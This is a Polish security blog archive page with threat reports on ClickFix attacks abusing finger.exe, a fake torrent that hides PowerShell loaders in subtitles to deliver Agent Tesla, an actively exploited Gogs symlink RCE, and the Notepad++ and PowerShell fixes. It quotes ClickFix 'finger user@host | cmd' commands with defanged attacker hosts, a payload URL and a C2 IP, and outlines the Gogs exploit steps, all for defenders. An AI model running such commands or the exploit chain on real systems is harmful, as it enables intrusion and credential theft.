Archiwa: SIEM - Strona 42 z 61 - Security Bez Tabu

Tag: SIEM

ClickFix nadal „daje palcem”: ataki z użyciem protokołu Finger (TCP/79) wciąż aktywne

Wprowadzenie do problemu / definicja luki

Fala kampanii ClickFix – socjotechnicznych ataków nakłaniających użytkownika do skopiowania i uruchomienia „naprawczej” komendy w systemie – nie wygasa. Najnowsze obserwacje SANS ISC potwierdzają, że napastnicy nadal nadużywają archaicznego protokołu Finger (TCP/79), uruchamiając na Windows wbudowane finger.exe do pobrania i wykonania zdalnych poleceń lub skryptów. W świeżym dzienniku Brad Duncan pokazuje, że co najmniej dwie aktywne kampanie – KongTuke i SmartApeSG – w grudniu 2025 r. wciąż serwują w fałszywych CAPTCHA komendy wywołujące finger.exe po to, by dostarczyć dalsze payloady (PowerShell/EXE) i kontynuować infekcję.

W skrócie

  • Vektor: fałszywe strony CAPTCHA/„naprawy” (ClickFix) podsuwają komendę do uruchomienia w Win+R / CMD. Komenda uruchamia finger user@host | cmd lub pobiera treść, którą następnie interpretuje cmd/PowerShell.
  • Transport: Finger działa wyłącznie po TCP/79; finger.exe nie obsługuje proxy – to ważny warunek skuteczności/neutralizacji w sieciach korporacyjnych.
  • Kampanie: m.in. KongTuke (np. finger gcaptcha@captchaver[.]top) i SmartApeSG (zapytania finger do hostów/IP z fałszywych CAPTCHA).
  • Ładunki: PowerShell Base64, pobieranie plików (np. archiwa podszyte pod PDF), NetSupport Manager RAT, infostealery; techniki antyanalizy (sprawdzanie narzędzi).
  • Mitigacje szybkie: blokuj wyjście TCP/79, egzekwuj proxy explicit, rozważ AppLocker/SRP/WDAC blokujące finger.exe, reguły EDR/Sigma na nietypowe uruchomienia finger.exe.

Kontekst / historia / powiązania

O powrocie Finger w ClickFix szerzej pisał BleepingComputer 15 listopada 2025 r., dokumentując próbki, w których polecenia finger ... | cmd pobierały i wykonywały dalszy kod; wskazano też przypadki pobrania archiwum maskującego się jako PDF i finalne wdrożenie NetSupport Manager. Wcześniej Didier Stevens w SANS ISC podsumował właściwości Finger: port 79/TCP i brak obsługi proxy w finger.exe – co tłumaczy, czemu środowiska z proxy explicit są z natury odporne (o ile ruch „na skróty” nie jest dozwolony). Projekty LOLBAS i analizy z lat 2023–2024 opisywały finger.exe jako LOLBIN zdolny do transferu danych (MITRE T1105) oraz potencjalny kanał C2/dostawczy.

Analiza techniczna / szczegóły luki

Przebieg (obserwacje z 11–13 grudnia 2025 r. na podstawie SANS ISC):

  1. Użytkownik trafia na fałszywą stronę CAPTCHA (kampanie KongTuke / SmartApeSG). Strona instruuje, aby uruchomić polecenie (np. w Win+R).
  2. Komenda wywołuje finger.exe do zapytania user@host pod kontrolą atakującego (np. gcaptcha@captchaver[.]top), często z potokiem do cmd (| cmd) lub przekazaniem treści do PowerShell.
  3. Odpowiedź serwera Finger to zwykły tekst, lecz zawiera komendy:
    • wariant PowerShell (Base64) – bezpośrednie wykonanie loadera,
    • wariant downloader – pobranie zawartości (np. z pmidpils[.]com/yhb.jpg), zapis pod losową nazwą i uruchomienie.
  4. Dalszy etap: pobranie archiwum/„PDF”, rozpakowanie modułu (np. Python stealer lub NetSupport Manager RAT), dodanie Scheduled Task dla trwałości, a nierzadko anty-analiza (wykrywanie narzędzi: Wireshark/IDA/x64dbg itp.).
  5. Ruch sieciowy: charakterystyczne połączenia TCP/79 do hostów spoza organizacji; w Wireshark widoczny filtr finger i proste strumienie tekstowe z komendami.

Właściwości Finger istotne dla obrony:

  • Protokół stały port 79/TCP – brak opcji zmiany; finger.exe bez proxy-awareness. Wymuszenie ruchu przez explicit proxy i deny dla direct-to-Internet zwykle łamie łańcuch.
  • Living-off-the-land: finger.exe to LOLBIN (LOLBAS) – obecny na systemach Windows (System32/SysWOW64). Dostępne reguły Sigma i wskazówki detekcyjne (proces + nietypowe połączenia zewnętrzne).

Praktyczne konsekwencje / ryzyko

  • Niski próg ofiary: jeden skrót Win+R → wklej → Enter wystarcza do pełnego „hands-off” pobrania i uruchomienia malware.
  • Omijanie filtracji web: gdy ruch nie jest wymuszony przez proxy, Finger korzysta z portu 79 poza standardowymi kontrolami HTTP/HTTPS, co może ominąć filtrację URL/SSL inspection.
  • Szybka ewolucja: aktorzy dodają anty-analizę, różne łańcuchy downloaderów i payloady (RAT/stealer). Ryzyko kompromitacji stacji końcowej i ruchu bocznego.

Rekomendacje operacyjne / co zrobić teraz

Sieć i kontrola egress

  • Blokuj wyjście TCP/79 na brzegach i w egress ACL (FW, NGFW). Dodaj monitorowanie prób połączeń na ten port.
  • Wymuś explicit proxy dla całego ruchu przeglądarkowego/stacyjnego; zabroń „direct-to-Internet”. finger.exe bez proxy nie zadziała w takim modelu.

Kontrola aplikacji / endpoint

  • Zabroń finger.exe (AppLocker/WDAC/SRP) w środowiskach produkcyjnych; to binarka o marginalnym uzasadnieniu biznesowym. Skoreluj z LOLBAS.
  • EDR/SIEM: alerty na proces-rodzic = cmd.exe/powershell.exe → finger.exe, wystąpienie pipe | cmd, nietypowy port 79. Wykorzystaj reguły Sigma dot. finger.exe.
  • Przeglądarki: blokowanie pop-up/in-page scripts z nieznanych domen; ochrona DNS/HTTP (np. kategorie „Newly Registered Domains”). (Inference uzupełniające dobre praktyki.)

Działania IR/łowienie zagrożeń

  • Szukaj w logach: wklejanie komend z interfejsów Run/CMD/PowerShell tuż przed inicjacją Finger, zdarzenia Sysmon EventID 1/3.
  • Przegląd Scheduled Tasks i autostartów po incydencie; poszukuj śladów NetSupport Manager i nietypowych katalogów tymczasowych.

Świadomość użytkowników

  • Kampanie ClickFix/fake CAPTCHA należy objąć dedykowanym modułem phishingowym: wzorce ekranów, filmiki „jak nie robić Win+R”. (Wniosek zgodny z opisami kampanii, potwierdzany w branżowych raportach.)

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • ClickFix bez Finger: część kampanii używa wyłącznie PowerShell/curl/wget przez HTTP(S) – łatwiejsze do filtrowania przez proxy/URL. Finger dodaje nietypowy port 79 i prosty kanał tekstowy.
  • Ewolucja ClickFix: obserwowane wideo-instrukcje, timery, warianty multi-OS – ale rdzeń socjotechniki (copy-paste komendy) pozostaje. (Kontext branżowy o wzroście złożoności.)

Podsumowanie / kluczowe wnioski

  • Stary protokół ≠ martwy: Finger (TCP/79) pozostaje użyteczny dla atakujących, jeśli organizacja nie wymusza proxy i nie blokuje egress na porty „niszowe”.
  • LOLBIN w roli droppera: finger.exe – jako element systemu – ułatwia dostarczenie poleceń i payloadów, w tym RAT/stealerów.
  • Mitigacja jest prosta: blok na 79/TCP + explicit proxy + blokada finger.exe znacząco obniża skuteczność tych łańcuchów.

Źródła / bibliografia

  1. SANS ISC – „ClickFix Attacks Still Using the Finger” (Brad Duncan), 13 grudnia 2025. (SANS Internet Storm Center)
  2. BleepingComputer – „Decades-old ‘Finger’ protocol abused in ClickFix malware attacks”, 15 listopada 2025. (BleepingComputer)
  3. SANS ISC – „Finger.exe & ClickFix” (Didier Stevens), 16 listopada 2025. (SANS Internet Storm Center)
  4. LOLBAS Project – Finger.exe (ścieżki, detections/Sigma). (lolbas-project.github.io)
  5. Malware-Traffic-Analysis.net – artefakty kampanii KongTuke (przykładowa infekcja z 8 października 2025). (malware-traffic-analysis.net)

Fałszywy torrent „One Battle After Another” ukrywa malware w… napisach. Kampania kończy się infekcją Agent Tesla

Wprowadzenie do problemu / definicja luki

Badacze Bitdefender ostrzegają przed fałszywym torrentem filmu „One Battle After Another” (z Leonardo DiCaprio), który nie tylko zawiera standardowy pakiet „fałszywych plików”, ale wykorzystuje… plik z napisami .srt do uruchomienia złożonego łańcucha loaderów PowerShell. Ostatecznie ofiara zostaje zainfekowana zdalnym trojanem Agent Tesla (RAT/infostealer). O sprawie informuje też BleepingComputer, podkreślając nietypowe ukrycie kodu uruchamianego z poziomu linii konkretnych wierszy napisów.

W skrócie

  • Wejście: użytkownik pobiera torrent z rzekomym filmem; w paczce m.in. plik skrótu CD.lnk, pliki graficzne i napisy Part2.subtitles.srt.
  • Wykonanie/persistencja: CD.lnk wywołuje polecenia, które czytają i wykonują linie 100–103 z .srt, uruchamiając kilka zagnieżdżonych skryptów PowerShell i tworząc ukryte zadanie Harmonogramu Zadań RealtekDiagnostics.
  • Łańcuch dropperów: kolejne etapy odszyfrowują dane z .srt i plików JPG/„m2ts”, instalują narzędzia i ładują finalny Agent Tesla w pamięci (fileless).
  • TTPs (MITRE ATT&CK): PowerShell (T1059.001), Scheduled Task (T1053.005), obfuskacja/dekodowanie danych i wykonanie w pamięci.

Kontekst / historia / powiązania

Wykorzystywanie premier filmowych do dystrybucji malware przez torrenty to stary trik, ale Bitdefender ocenia ten przypadek jako szczególnie złożony i „warstwowy”. W przeszłości widziano podobne nadużycia przy innych tytułach (np. dystrybucja Lumma Stealer), co potwierdzają również niezależne analizy branżowe (ESET, Microsoft TI) – popularne infostealery są szeroko monetyzowane w modelu MaaS i często łączone z pirackimi treściami.

Analiza techniczna / szczegóły luki

Zawartość torrenta
Paczka zawiera m.in.: One Battle After Another.m2ts (w rzeczywistości archiwum), Photo.jpg, Cover.jpg, Part2.subtitles.srt oraz skrót CD.lnk. Kliknięcie skrótu inicjuje cały łańcuch.

Start z pliku .srt
CD.lnk uruchamia polecenie CMD, które czyta Part2.subtitles.srt, wybiera linie 100–103 i wykonuje znajdujący się tam kod wsadowy/PowerShell. Następnie skrypt ponownie otwiera .srt, przeskakuje do dalszych wierszy (np. od 5005) i interpretuje kolejne fragmenty jako kod – to nietypowa technika ukrycia w pozornie niewinnym formacie. Technika mieści się w ATT&CK: T1059.001 PowerShell.

Warstwowe droppery i persystencja
Z .srt wydobywane są szyfrowane (AES) bloki danych, które składają pięć skryptów PowerShell do folderu C:\Users\<USER>\AppData\Local\Microsoft\Diagnostics. Następnie tworzony jest ukryty Scheduled Task RealtekDiagnostics (opis „Audio Helper”), uruchamiający RealtekCodec.bat, co odpowiada T1053.005 (Scheduled Task/Job).

„Multimedia” jako archiwa

  • One Battle After Another.m2ts – służy jako archiwum rozpakowywane z użyciem wbudowanych narzędzi lub WinRAR/7-Zip/Bandizip (LotL).
  • Photo.jpg – zawiera zakodowane bajty kilku plików, dekodowane i zapisywane do katalogu cache diagnostyki dźwięku Windows.
  • Cover.jpg – kolejne „ukryte archiwum” (hasło 1), z którego wypakowywane są pliki wsadowe, skrypty i komponenty (m.in. RealtekAudioService.go).

Finalny payload i tryb fileless
Ostatni etap sprawdza stan Microsoft Defendera, doinstalowuje wymagane składniki (np. środowisko Go), a następnie ładuje Agent Tesla w pamięci bez klasycznego zapisu na dysk, utrudniając detekcję. Agent Tesla od lat służy do kradzieży haseł z przeglądarek, klientów pocztowych, FTP/VPN oraz wykonywania zrzutów ekranu i zdalnej kontroli.

Powiązane techniki (ATT&CK):

  • T1059 / T1059.001 – Command & Scripting Interpreter / PowerShell.
  • T1053.005 – Scheduled Task dla persystencji.
  • TA0003 – taktyka Persistence jako całość.
  • Obfuskacja/ukrywanie ładunków w nietypowych kontenerach (obrazy/„wideo”), dekodowanie i wykonanie w pamięci.

Praktyczne konsekwencje / ryzyko

  • Wykradanie danych uwierzytelniających (przeglądarki, e-maile, VPN/FTP) i przejęcia kont. Agent Tesla jest aktywny od 2014 r. i pozostaje w obiegu z licznymi wariantami.
  • Trwała obecność dzięki zadaniu Harmonogramu i elementom fileless – utrudniona triage i forensyka.
  • Ryzyko wtórnych ataków (np. ransomware, dalsze infostealery), co pokazują trendy na rynku MaaS (np. Lumma).

Rekomendacje operacyjne / co zrobić teraz

Dla SOC/IT:

  1. Blokady & reguły detekcji (EDR/SIEM):
    • Wykrywanie nietypowych odwołań do Part2.subtitles.srt, CD.lnk, katalogu ...\Microsoft\WindowsSoundDiagnostics\Cache, nazw z prefiksem Realtek w ścieżkach AppData.
    • Telemetria na PowerShell z -ep Bypass, -windowstyle hidden, -nop. (T1059.001)
    • Alerty na tworzenie zadań RealtekDiagnostics / autorun z opisem „Audio Helper”. (T1053.005)
  2. Kontrola aplikacji / ASR: zaostrzyć polityki dla PowerShell (Constrained Language Mode), blokady uruchamiania skryptów z katalogów użytkownika, reguły Attack Surface Reduction.
  3. Network: monitorować nietypowe połączenia wychodzące po infekcji (Agent Tesla C2), w razie potrzeby izolować hosty. (Ogólne właściwości rodziny)
  4. IR: jeżeli stwierdzono artefakty, wyczyścić zadania zaplanowane, katalog Cache diagnostyki dźwięku, artefakty w ...\Microsoft\Diagnostics, zresetować hasła w przeglądarkach/klientach poczty/VPN i przeprowadzić pełny hunt pod kątem fileless.

Dla użytkowników (security awareness):

  • Nie pobieraj nowości filmowych z anonimowych torrentów. To jeden z najczęstszych wektorów dla infostealerów.
  • Jeśli już korzystasz z torrentów, otwieraj tylko w sandboxie/VM, nie uruchamiaj skrótów .lnk, nie klikaj „magicznych” plików startowych – film .m2ts/.mkv nie powinien wymagać skrótu i dodatkowych plików wsadowych.
  • Aktualny AV/EDR + automatyczne aktualizacje systemu i przeglądarek.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

W odróżnieniu od typowych kampanii torrentowych, gdzie złośliwy plik to „fałszywy instalator” lub sam film jest nośnikiem steganografii, tutaj kluczowy kod wykonawczy tkwi w pliku napisów .srt i jest wywoływany poprzez precyzyjne odczytanie wybranych linii. To odróżnia kampanię od wielu obserwowanych ostatnio dystrybucji Lumma Stealer, które częściej bazują na phishingu, fałszywych stronach/„CAPTCHA” lub GitHub/Cloud delivery.

Podsumowanie / kluczowe wnioski

  • Kampania jest zaawansowana operacyjnie: wieloetapowy łańcuch PowerShell, obfuskacja, konteneryzacja w obrazach i „wideo”, persistencja przez Scheduled Task oraz fileless końcówka.
  • Celem jest kradzież danych przy użyciu Agent Tesla – nadal popularnego i skutecznego infostealera/RAT.
  • Higiena cyfrowa i kontrola PowerShell + monitorowanie Harmonogramu Zadań to dziś obowiązek w Windowsowej obronie endpointów (ATT&CK: T1059.001, T1053.005).

Źródła / bibliografia

  • Bitdefender Labs – „Fake Leonardo DiCaprio Movie Torrent Drops Agent Tesla Through Layered PowerShell Chain” (10 grudnia 2025). Źródło techniczne kampanii. (Bitdefender)
  • BleepingComputer – wiadomość o kampanii i streszczenie ustaleń (12 grudnia 2025). (BleepingComputer)
  • MITRE ATT&CK – T1059 / T1059.001 (PowerShell), T1053.005 (Scheduled Task/Job), TA0003 (Persistence) – klasyfikacja TTP. (MITRE ATT&CK)
  • Check Point – Agent Tesla Malware – charakterystyka rodziny i możliwości kradzieży danych. (checkpoint.com)
  • Microsoft / ESET – tło dot. Lumma Stealer i trendów w infostealerach (porównanie). (Microsoft)

Krytyczna luka 0-day w Gogs (CVE-2025-8110) aktywnie wykorzystywana — ponad 700 serwerów skompromitowanych

Wprowadzenie do problemu / definicja luki

Badacze Wiz ujawnili aktywnie wykorzystywaną lukę 0-day w Gogs — lekkim, samodzielnie hostowanym serwerze Git. Błąd oznaczono jako CVE-2025-8110 i dotyczy niewłaściwej obsługi symlinków w API PutContents. Pozwala to uwierzytelnionemu atakującemu nadpisać pliki poza katalogiem repozytorium, co przekłada się na zdalne wykonanie kodu (RCE). Według Wiz, ponad 700 publicznie dostępnych instancji Gogs nosi ślady kompromitacji; poprawki oficjalnie jeszcze nie ma.

W skrócie

  • Identyfikator: CVE-2025-8110 (CVSS 7.8).
  • Status: brak łatki w momencie publikacji (10–12 grudnia 2025); utrzymująca się eksploatacja od co najmniej 1 grudnia.
  • Zakres: wersje ≤ 0.13.3, zwłaszcza instancje wystawione do Internetu z otwartą rejestracją (domyślnie włączona).
  • Skala: ~1 400 wystawionych serwerów; 700+ potwierdzonych kompromitacji.
  • Przyczyna: obejście poprzedniej poprawki CVE-2024-55947 poprzez symlinki.

Kontekst / historia / powiązania

CVE-2025-8110 to obejście poprawki dla CVE-2024-55947 (trawersja ścieżek w API), które dodało walidację „ścieżki” — ale nie sprawdzało, dokąd wskazuje symlink. Podobne problemy z bezpieczeństwem Gogs były już wcześniej opisywane (m.in. CVE-2024-39930/31/32/33), a utrzymanie projektu bywało krytykowane za opieszałość w usuwaniu błędów. SonarSource już w 2024 r. rekomendował rozważenie migracji do Gitea (fork Gogs) jako aktywniej utrzymywanej alternatywy.

Analiza techniczna / szczegóły luki

Wektor nadużycia (wysoki poziom):

  1. Atakujący zakłada repozytorium (prawo tworzenia repo jest domyślnie dostępne po rejestracji), 2) w repo umieszcza symlink wskazujący poza katalog repo, 3) używa API PutContents, które nadpisuje plik docelowy, 4) nadpisuje .git/config (pole sshCommand), uzyskując RCE z uprawnieniami procesu Gogs. Mechanika jest trywialna dla każdego użytkownika z prawem tworzenia repozytoriów.

Warunki powodzenia:

  • Serwer Gogs wystawiony do Internetu i z włączoną otwartą rejestracją (domyślnie).
  • Wersja Gogs 0.13.3 lub starsza.

Artefakty kompromitacji zaobserwowane przez Wiz:

  • Masowo tworzone konta i repozytoria o losowych 8-znakowych nazwach (owner/repo).
  • Wspólny wzorzec czasowy pierwszej fali: 10 lipca 2025.
  • Wykorzystanie frameworka Supershell jako C2; przykładowe IOC: 119.45.176[.]196 (C2), sumy SHA-1 dwóch próbek malware (podane przez Wiz).

Dowody i relacje w mediach: informacje Wiz potwierdzają m.in. SecurityWeek oraz The Register, wskazując na >700 naruszeń i brak dostępnej łatki w chwili publikacji.

Praktyczne konsekwencje / ryzyko

  • Ryzyko wycieku i sabotażu kodu: odczyt, modyfikacja i wstrzykiwanie backdoorów do prywatnych repozytoriów; możliwość „supply-chain” poprzez artefakty CI/CD.
  • Rozszerzenie przyczółka: serwer Gogs bywa ulokowany w strefach z dostępem do systemów buildowych; RCE umożliwia lateral movement.
  • Przestój zespołów dev: blokada repo, utrata integralności commitów, konieczność odtwarzania i przeglądu łańcucha dostaw. (Wniosek na podstawie powyższej techniki ataku).
  • Ryzyko reputacyjne i zgodności: możliwe naruszenia wymogów wytwarzania bezpiecznego oprogramowania (np. NIS2/DORA w UE).

Rekomendacje operacyjne / co zrobić teraz

Działania „tu i teraz” (0–24 h):

  1. Wyłącz otwartą rejestrację (Open Registration) na wszystkich instancjach Gogs.
  2. Ogranicz ekspozycję do Internetu: wstaw za VPN/reverse proxy i allow-listę IP; jeśli to możliwe, czasowo odłącz publiczny dostęp.
  3. Hunting/IR:
    • Wyszukaj nowo utworzone repozytoria o losowych 8-znakowych nazwach (owner/repo).
    • Przejrzyj logi pod kątem nietypowego użycia API PutContents.
    • Sprawdź, czy .git/config nie był nadpisywany (pole sshCommand).
  4. IOC/ekosystem: sprawdź komunikację z hostami C2 wskazanymi przez Wiz i znanymi sumami hash binarek (Supershell).
  5. Zarządzanie wersjami: jeżeli musisz utrzymywać Gogs, trzymaj instancję za uwierzytelnionym frontem i zablokuj rejestrację do czasu pojawienia się oficjalnej łatki.

Działania krótkoterminowe (1–7 dni):

  • Asset discovery: przeszukaj sieć pod kątem instancji Gogs; runZero opisuje prosty sygnatury/filtr (np. hash favikony) pomocne w wykryciu zasobów.
  • Hardening: uruchamiaj Gogs jako nie-uprzywilejowany użytkownik, w kontenerze z read-only rootfs i profilami AppArmor/SELinux ograniczającymi skutki RCE (najlepiej z minimalnym zestawem syscalów). (Dobre praktyki wynikające z natury RCE).
  • Kontrole detekcyjne: reguły SIEM/EDR pod PutContents oraz modyfikacje .git/config; alerty na tworzenie repo z losowymi nazwami.

Działania średnioterminowe (7–30 dni):

  • Ocena alternatyw: rozważ migrację do Gitea (aktywnie utrzymywany fork) — w 2024 r. SonarSource nie stwierdził w nim badanych problemów, a projekt ma szybszy cykl poprawek.
  • Segmentacja i Zero Trust dla narzędzi Dev: repozytoria i CI/CD w dedykowanych strefach, z kontrolą dostępu na poziomie sieci i tożsamości.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • CVE-2024-55947 vs. CVE-2025-8110: pierwszy błąd naprawiono walidacją ścieżki, jednak obejście symlinkiem przywraca możliwość zapisu poza repozytorium — to klasyczny przykład „bypassu” łatki.
  • Gogs vs. Gitea: oba projekty są pokrewne, lecz to Gitea wykazuje obecnie większą responsywność na raporty bezpieczeństwa; niezależne badania wskazywały na utrzymujące się luki w Gogs.

Podsumowanie / kluczowe wnioski

  • Luka CVE-2025-8110 jest aktywnie wykorzystywana, a łatki brak — ekspozycja Internet + otwarta rejestracja = wysokie ryzyko.
  • Skala kompromitacji jest znacząca (700+ instancji), a wektor prosty (symlink + PutContents + nadpisanie .git/config).
  • Natychmiast: zamknij rejestrację, zdejmij z Internetu lub ogranicz dostęp, poluj na artefakty, monitoruj IoC.
  • Strategicznie: wzmocnij hardening i rozważ migrację do lepiej utrzymywanego forka.

Źródła / bibliografia

  1. Wiz Research — szczegóły techniczne, IoC, skala kompromitacji. (wiz.io)
  2. SecurityWeek — omówienie incydentu, status łatki, liczby. (SecurityWeek)
  3. runZero — identyfikacja zasobów, wersje podatne, praktyczne wskazówki wykrywania. (runZero)
  4. The Register — potwierdzenie ataków, 700+ instancji, brak natychmiastowej poprawki. (The Register)
  5. SonarSource (2024) — kontekst historyczny problemów bezpieczeństwa Gogs i rekomendacja migracji do Gitea. (sonarsource.com)

Notepad++ łata lukę w aktualizatorze WinGUp, która pozwalała podmieniać pliki aktualizacji na złośliwe

Wprowadzenie do problemu / definicja luki

Zespół Notepad++ opublikował wersję 8.8.9, która uszczelnia mechanizm aktualizacji WinGUp po incydentach, w których aktualizator pobierał zamiast legalnych instalatorów — złośliwe pliki wykonywalne. Twórcy opisują zjawisko jako „hijacking ruchu” WinGUp, skutkujący przekierowaniem do fałszywych serwerów aktualizacji. W 8.8.9 wprowadzono weryfikację podpisu i certyfikatu pobieranego instalatora; w razie niepowodzenia aktualizacja jest przerywana.

O incydentach poinformowały media branżowe — m.in. BleepingComputer i heise — wskazując, że aktualizator potrafił pobrać i uruchomić podstawiony plik EXE zamiast nowej wersji edytora.

W skrócie

  • Co się stało? Część żądań aktualizatora WinGUp była „porywana”, co prowadziło do pobrania złośliwego instalatora zamiast prawidłowego pakietu Notepad++.
  • Co naprawiono? Od Notepad++ 8.8.9 WinGUp weryfikuje podpis cyfrowy i łańcuch certyfikatu pobranego instalatora; brak zgodności = przerwanie aktualizacji.
  • Dodatkowe utwardzenie: Już w 8.8.8 wymuszono GitHub.com jako jedyne źródło pobrań przez WinGUp, a 8.8.9 poszła dalej z walidacją podpisów.
  • Status śledztwa: Twórcy nadal ustalają dokładny wektor przechwycenia ruchu.

Kontekst / historia / powiązania

W 2025 r. Notepad++ mierzył się już z innymi kwestiami bezpieczeństwa (np. CVE-2025-49144 w instalatorze oraz zmiany wokół certyfikatu podpisującego), a także z modyfikacjami aktualizatora (aktualizacje cURL w WinGUp). To pokazuje, że łańcuch aktualizacji narzędzia jest aktywnie wzmacniany od kilku wydań.

Równolegle media (The Register, heise) opisywały, że hijacking był już wykorzystywany w praktyce i prowadził do realnych infekcji — stąd pilna publikacja 8.8.9.

Analiza techniczna / szczegóły luki

WinGUp (znany też jako GUP.exe) to niewielki aktualizator uruchamiany z Notepad++: pobiera metadane aktualizacji i wskazany instalator EXE, zapisuje go tymczasowo i uruchamia. Jeśli ruch HTTP(S) zostanie przechwycony lub przekierowany, aktualizator może otrzymać spreparowany URL/plik. Opis sekwencji żądań i działania (pobranie metadanych, URL do EXE, uruchomienie z %TEMP%) potwierdzają niezależne analizy.

Co zmieniono w 8.8.9?

  • Dodano weryfikację podpisu kodu i certyfikatów pobranego instalatora przed jego uruchomieniem. Brak poprawnej weryfikacji → abort aktualizacji.
  • Twórcy podkreślają, że śledztwo wciąż trwa; zatem 8.8.9 to warstwa kontroli, która eliminuje skutki potencjalnego przekierowania, nawet jeśli do niego dojdzie.
  • Wcześniej, w 8.8.8, WinGUp ograniczono do pobrań z GitHub.com, co zmniejsza powierzchnię ataku przez zawężenie zaufanego źródła.

Praktyczne konsekwencje / ryzyko

  • Ryzyko dla użytkowników: możliwość cichej instalacji malware z uprawnieniami użytkownika uruchamiającego aktualizację, potencjalnie eskalowanej dalszymi technikami ataku.
  • Ryzyko dla organizacji: jeżeli stacje robocze automatycznie akceptowały aktualizacje, łańcuch dostaw aktualizacji aplikacji stawał się wektorem wejścia dla atakujących. Media branżowe raportowały realne incydenty.

Rekomendacje operacyjne / co zrobić teraz

  1. Zaktualizuj do Notepad++ 8.8.9 (lub nowszej) na wszystkich hostach. Preferuj instalację ręczną z oficjalnej strony zamiast starego auto-update’u, jeśli pracujesz na wersjach < 8.8.9.
  2. Zweryfikuj podpis instalatora przed wdrożeniem masowym (PowerShell):
    • Get-AuthenticodeSignature .\npp.8.8.9.Installer.x64.exe — status powinien być Valid.
    • (opcjonalnie) Get-FileHash .\npp.8.8.9.Installer.x64.exe -Algorithm SHA256 i porównanie z sumami na GitHub/witrynie projektu.
  3. Odtwórz zaufane źródła aktualizacji w narzędziach proxy/allow-list (domena github.com i oficjalne hosty projektu).
  4. Monitoruj telemetrię EDR/SIEM pod kątem:
    • Nietypowych uruchomień GUP.exe/WinGUp spoza standardowej ścieżki programu,
    • Nowych procesów potomnych instalatora Notepad++ w godzinach nietypowych dla okna serwisowego,
    • Połączeń wychodzących do nieznanych hostów w momencie aktualizacji. (Opis działania GUP pomaga zbudować reguły detekcji.)
  5. Rozważ tymczasowe wyłączenie auto-update’u w starszych wersjach i wykonanie wymuszonego upgrade’u do 8.8.9 z centralnego repozytorium (SCCM/Intune/PDQ).
  6. Segmentacja i zasady egress: ogranicz możliwość kontaktu aktualizatora z internetem jedynie do zaufanych domen; rozważ TLS inspection dla ruchu aktualizacyjnego aplikacji „z długim ogonem”.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • To nie klasyczny „supply-chain” w stylu podmiany binariów u dostawcy (jak przy atakach na repozytoria). Tu mówimy o przechwyceniu/zmodyfikowaniu ruchu aktualizatora i skierowaniu go do fałszywego źródła, a następnie uruchomieniu pobranego EXE. Wydanie 8.8.9 dodaje krytyczną kontrolę integralności i pochodzenia, która chroni nawet wtedy, gdy komuś uda się wpłynąć na trasowanie ruchu.

Podsumowanie / kluczowe wnioski

  • Luka polegała na tym, że WinGUp mógł uruchomić podmieniony instalator, jeśli ruch został przechwycony/przekierowany.
  • 8.8.9 wprowadza twardą walidację podpisu i certyfikatu, co zamyka najgroźniejszą ścieżkę nadużycia.
  • Jeśli zarządzasz flotą Windows: zaktualizuj natychmiast, egzekwuj weryfikację podpisów, monitoruj anomalię w uruchomieniach GUP.exe i ogranicz aktualizator do zaufanych domen (GitHub).

Źródła / bibliografia

  • Notepad++ — ogłoszenie wydania v8.8.9 (Vulnerability-fix). (notepad-plus-plus.org)
  • BleepingComputer: „Notepad++ fixes flaw that let attackers push malicious update files”. (BleepingComputer)
  • heise: „Notepad++ updater installed malware – v8.8.9 corrects this; 8.8.8 wymusza GitHub jako źródło”. (heise online)
  • The Register: „Notepad++ under attack: hijacking WinGUp traffic to złośliwych serwerów”. (The Register)
  • DoublePulsar: analiza działania GUP/WinGUp i przepływu aktualizacji (gup.xml → EXE w %TEMP%). (DoublePulsar)

PowerShell w Windows ostrzega przy użyciu Invoke-WebRequest. Co to zmienia dla bezpieczeństwa i automatyzacji?

Wprowadzenie do problemu / definicja luki

Microsoft dodał do Windows PowerShell 5.1 nowy mechanizm ostrzegania, który wyświetla potwierdzenie bezpieczeństwa podczas uruchamiania skryptów wykorzystujących Invoke-WebRequest (IWR) do pobierania treści WWW. Celem jest ograniczenie ryzyka wykonania złośliwych skryptów osadzonych w pobieranych stronach. Zmiana została dostarczona w pakietach z Patch Tuesday 9 grudnia 2025 r. i jest powiązana z podatnością CVE-2025-54100 (wstrzyknięcie poleceń / command injection w Windows PowerShell).

W skrócie

  • Co się zmieniło? Invoke-WebRequest w PowerShell 5.1 może wyświetlić prompt z ostrzeżeniem o ryzyku wykonania skryptu z pobieranej strony. Użytkownik może kontynuować lub anulować operację.
  • Dlaczego? Aby zamknąć wektor ataku opisany jako CVE-2025-54100 (wysoka skala zagrożenia, CVSS 7.8 wg NVD/MSRC).
  • Jak obejść prompt w automatyzacji? Użyć parametru -UseBasicParsing w IWR (w PowerShell 5.1), który pobiera treść bez parsowania i bez wykonywania skryptów w odpowiedzi HTTP.
  • Kogo dotyczy? Administratorów, DevOpsów i autorów skryptów działających na Windows PowerShell 5.1 (wbudowany w Windows), w tym skryptów uruchamianych bez nadzoru.

Kontekst / historia / powiązania

Invoke-WebRequest to popularny cmdlet do pobierania zasobów HTTP/HTTPS, który parsuje HTML i zwraca zbiory elementów (linki, obrazy itp.). W starszym mechanizmie parsowania mogło dojść do niepożądanego uruchomienia skryptu po stronie klienta podczas przetwarzania odpowiedzi, co stało się osią wektora podatności CVE-2025-54100. Microsoft zaadresował problem w grudniowych aktualizacjach, a media branżowe opisały nowy prompt bezpieczeństwa jako dodatkową „barierę tarcia” dla złośliwego kodu.

Analiza techniczna / szczegóły luki

  • Identyfikator: CVE-2025-54100
  • Klasyfikacja: Command Injection (CWE-77)
  • Wpływ: lokalne wykonanie kodu przy udziale użytkownika (UI:R), wysokie skutki dla poufności, integralności i dostępności.
  • Wektor: pobranie i przetworzenie treści WWW przez IWR w sposób, który umożliwia wykonanie złośliwej skryptowej zawartości osadzonej w odpowiedzi.
  • Ocena ryzyka: CVSS v3.1 7.8 (High) wg NVD; Microsoft udostępnił poprawki w ramach Patch Tuesday.

Nowe zachowanie PowerShell 5.1:
Przy wywołaniu Invoke-WebRequest bez parametru -UseBasicParsing PowerShell 5.1 wyświetla dialog/komunikat potwierdzenia, informując, że parsowanie treści strony może uruchomić skrypt. Użytkownik wybiera Kontynuuj lub Anuluj. Dokumentacja Microsoft zaleca -UseBasicParsing dla scenariuszy nieinteraktywnych (CI/CD, zadań harmonogramu), aby pominąć parsowanie i tym samym uniknąć potencjalnego wykonania skryptu.

